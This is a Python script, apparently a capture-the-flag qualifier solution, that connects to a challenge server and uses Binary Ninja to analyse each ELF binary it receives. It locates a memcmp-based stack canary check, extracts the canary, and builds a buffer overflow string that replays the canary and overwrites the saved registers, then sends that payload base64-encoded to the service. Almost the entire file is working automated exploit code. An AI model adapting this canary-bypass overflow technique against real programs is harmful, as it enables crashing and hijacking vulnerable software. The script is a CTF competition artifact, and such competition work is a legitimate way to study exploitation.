|
#!/usr/bin/env python |
|
|
|
import sys |
|
try: |
|
import binaryninja |
|
except ImportError: |
|
sys.path.append("/Applications/Binary Ninja.app/Contents/Resources/python/") |
|
import binaryninja |
|
import time |
|
import socket |
|
import base64 |
|
|
|
s = socket.socket() |
|
s.connect(('334_cuts_22ffeb97cf4f6ddb1802bf64c03e2aab.quals.shallweplayaga.me', 10334)) |
|
print "Msg: " + s.recv(1024) |
|
|
|
def readUntil(s, delim): |
|
msg = "" |
|
while delim not in msg: |
|
msg += s.recv(1) |
|
|
|
return msg |
|
|
|
msg = readUntil(s, '\n') |
|
while True: |
|
print |
|
print |
|
|
|
# They send us the challenge name to process. |
|
msg = readUntil(s, '\n') |
|
if 'segfault' in msg: |
|
print msg |
|
break |
|
chal = msg.strip() |
|
|
|
# Open a binary view to the challenge as an elf |
|
print "Analyzing {0}".format(chal) |
|
bv = binaryninja.BinaryViewType["ELF"].open(chal) |
|
bv.update_analysis() |
|
time.sleep(0.1) # bandaid until there's blocking analysis |
|
|
|
# start at the entry point |
|
print "Entry Point: {0:x}".format(bv.entry_point) |
|
entry = bv.entry_function # Get the entry point as a function object |
|
start = None |
|
|
|
# Iterate over the basic blocks in the entry function |
|
entry_calls = [] |
|
for block in entry.low_level_il: |
|
# Iterate over the basic blocks getting il instructions |
|
for il in block: |
|
# We only care about calls |
|
if il.operation == binaryninja.core.LLIL_CALL: |
|
entry_calls.append(il) |
|
|
|
start_call = entry_calls[1] |
|
start = bv.get_function_at(bv.platform, start_call.operands[0].value) |
|
|
|
print "start: {0}".format(start) |
|
|
|
# Do the same thing with main, it's the first call in start |
|
main = None |
|
for block in start.low_level_il: |
|
for il in block: |
|
if il.operation != binaryninja.core.LLIL_CALL: |
|
continue |
|
|
|
main = bv.get_function_at(bv.platform, il.operands[0].value) |
|
|
|
print "main: {0}".format(main) |
|
|
|
# Collect all the call instructions in main |
|
calls = [] |
|
for block in main.low_level_il: |
|
for il in block: |
|
if il.operation == binaryninja.core.LLIL_CALL: |
|
calls.append(il) |
|
|
|
# If there are 5 calls, then the memcmp is the second call. With 6 calls its the 3rd. |
|
if len(calls) == 5: |
|
read_buf = calls[0] |
|
memcmp = calls[1] |
|
else: |
|
read_buf = calls[1] |
|
memcmp = calls[2] |
|
|
|
# Query the parameters to the memcmp |
|
# memcmp(dst, src, length) |
|
canary_frame = main.get_parameter_at(bv.arch, memcmp.address, None, 0) |
|
canary_address = main.get_parameter_at(bv.arch, memcmp.address, None, 1) |
|
canary_width = main.get_parameter_at(bv.arch, memcmp.address, None, 2) |
|
|
|
# Use that to read the canary |
|
canary = bv.read(canary_address.value, canary_width.value) |
|
|
|
buffer_frame = main.get_parameter_at(bv.arch, read_buf.address, None, 0) |
|
|
|
# The canary is between the buffer and the saved stack registers |
|
buffer_size = (buffer_frame.offset - canary_frame.offset) * -1 |
|
print buffer_size |
|
|
|
# Fill up the buffer |
|
crash_string = "a" * buffer_size |
|
# Append the checked bytes of the canary check (it's always 4) |
|
crash_string += canary[:canary_width.value] |
|
|
|
# Pad out the rest of the string canary buffer |
|
crash_string += "a" * ((canary_frame.offset * - 1) - canary_width.value) |
|
|
|
# overwrite the saved registers |
|
crash_string += 'eeee' |
|
crash_string += '\n' |
|
|
|
# Send the crashing string to the service |
|
b64 = base64.b64encode(crash_string) |
|
print chal, canary, crash_string.strip(), b64 |
|
|
|
# Send the crashing string |
|
s.send(b64 + "\n") |